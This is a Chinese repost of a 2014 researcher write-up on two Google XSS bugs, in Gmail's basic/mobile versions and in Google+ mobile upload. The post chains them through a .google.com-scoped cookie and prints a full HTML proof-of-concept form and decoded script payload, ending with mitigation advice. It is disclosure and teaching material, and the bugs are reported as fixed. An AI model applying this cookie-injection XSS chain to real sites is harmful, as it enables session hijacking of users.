内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

Gmail和Google的两个XSS老漏洞分析

2018-11-06 20:50 出处:清屏网 人气: 评论(0

在这篇文章中,我会展示一下我在 Gmail 和 Google+ 中找到的两个 XSS 漏洞。特别是我会解释两个问题:

  1. 为什么我需要第二个平台去注入第一个平台;

  2. cookie 中的作用域的正确设置有多重要。

Gmail

Gmail 是我们最常用的的 google 服务之一,有很多不同的版本,包括基本 HTML 版本和移动版旧版。这次我要介绍的 XSS 漏洞发生在上面的两个版本中。这些版本中的功能比较简单,只能完成最基础的功能,只有基本的查看和发送邮件,但是最重要的一点是,我们可以设置标签。

举个例子,我们尝试设置一个 <test> 标签。

操作完成后,Gmail 会在通知中告知已对会话进行了标记。

当查看 http 会话时,我发现通知的内容实际上被放在 cookie 里。

cookie 里的 html 实体 &lt &gt 吸引了我的注意力,接着我们很自然地想到这里是否能够插入自定义标签,例如 <img src=1 onerror=alert(1)>

然而这个 payload 没起作用,服务器报了 500 的错误。估计是 ">" 导致了这个错误。因为右尖括号在 cookie 里还有其他的用途。可能是 cookie 被 ">" 拆分,并且当有一个超出预期的字符传入时,服务器端会发生一些错误,所以我们需要再修改下 payload,去掉了右尖括号:

这次成功了, alert 生效了,我在 mail.google.com 上找到了一个 xss 漏洞。

但现在仍然存在一个主要的问题。为了能够利用这个漏洞,我需要能够在受害者的浏览器中去设置任意 cookie。这通常是不可能的,需要另一个满足下面条件之一漏洞:

1、http 响应分割

2、无限制的设置 cookie:

https://miki.it/blog/2013/9/15/xsrf-cookie-setting-google/

3、另一个 xss 漏洞

前俩个条件非常难以满足,所以我们只关注第三个。还记得 Set-cookie 包含那些属性吗?

其中之一便是 domain 。所以当你发送一个消息头时:

Set-Cookie: Test= test;
Domain= .google.com
......

你创建了一个 cookie, 而这个 cookie 会被发送到 Google.com 的任何子域。因此,我需要在任意其他 Google 子域上找到另一个 xss 漏洞,并使用它去设置一个 cookie 去注入 Gmail。Google 有大量的服务,所以这应该不难;)

Google+

我十分幸运地在 Google+ 上找到了另一个 xss 漏洞。就像在 Gmail 中一样,这个漏洞存在于移动端而不是主版本。

这一次,我发现在上传照片时,很容易受到攻击。我注意到在上传请求中有两个很明显的 base64 的 http 参数: puSuccessResponse puFailureResponse

解码后:

解码后的结果包含了上传结束后的服务器响应的 html 代码。 puSuccessResponse 会在一切正常时运行,而 puFailureResponse 则是在失败时运行。更有趣的是这个请求包含 CSRF token ,当 token 不正确时,服务器会报 500 错误,但是 puFailureResponse 仍然会被应用!

做一个简单的测试,让我们用 alert(1) 来检查一下:

现在我们将操作组合起来。

代码如下:

<html>
 <body>
   <form action="https://plus.google.com/_/upload/app/basic/photos?cbp=&cid=5&soc-app=115&soc-platform=1"method="POST"enctype="multipart/form-data">
     <input type="hidden"name="puSuccessResponse"value="aGVq"/>
     <input type="hidden"name="puFailureResponse"value="PHNjcmlwdD4KYWxlcnQoIkR1ZGUsIHlvdSdyZSBYU1MtZWQgb24gIitkb2N1bWVudC5kb21haW4pOwpkb2N1bWVudC5jb29raWU9IkdNQUlMX05PVEk9dGwxPjxpbWcrc3JjJTNkMStvbmVycm9yJTNkJTIyYWxlcnQoJ0FuZCtub3crb24rJyUyYmRvY3VtZW50LmRvbWFpbiklMjIreDsgIERvbWFpbj0uZ29vZ2xlLmNvbTsgUGF0aD0vIjsKZG9jdW1lbnQubG9jYXRpb24gPSAiaHR0cHM6Ly9tYWlsLmdvb2dsZS5jb20vbWFpbC94LyI7ICAgCjwvc2NyaXB0PiAg"/>
     <input type="submit"value="Double XSS!"/>
   </form>
 </body>
</html>

puSuccessResponse 被解码为:

<script>
alert("Dude, you're XSS-ed on "+document.domain);
document.cookie="GMAIL_NOTI=tl1><img+src=1+onerror="alert('And+now+on+'+document.domain)"+x; Domain=.google.com; Path=/";
document.location="https://mail.google.com/mail/x/";   
</script> 

让我们看看发生了什么:

1、系统会显示 plus.google.com 上的弹窗

2、cookie GMAIL_NOTI 中被设置了 xss 代码,mail.google.com 会读取这条 cookie 从而被 xss 攻击

3、用户会立即重定向到 mail.google.com 从而被 xss 攻击

您可以在下面的视频中看到结果:

这两个漏洞已经在 2014 年 3 月报告给了 Google,并且已经被修复。非常感谢 Google 安全团队的,这是一个锻炼技能的好方法。

总结

这是一篇 2014 年的文章,虽然文中的平台已经改进了,但是技术的本质没有变化。 mail.google.com 本身是没有 xss 漏洞的,但读取了从 plus.google.com 传来的 cookie 时,并没有进行过滤,安全问题就由此产生了。

cookie 中的数据一般是由服务器分发的,所以在开发中很难想到 cookie 中的数据也是不安全的。这里其实有两个办法来解决这个问题:

1、对 cookie 的数据进行过滤;

2、正确设置 cookie 的作用域。

两个方法如果实施了任意一个都可以防止 xss 的产生。从现在来看,浏览器的的存储空间不仅仅有 cookie,还有 sessionStorage、localStorage、IndexedDB。从这些来源的数据在处理时也需要被谨慎考虑。


分享给小伙伴们:
本文标签: GmailGoogleXSS漏洞分析

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.

清屏网 版权所有 豫ICP备15026204号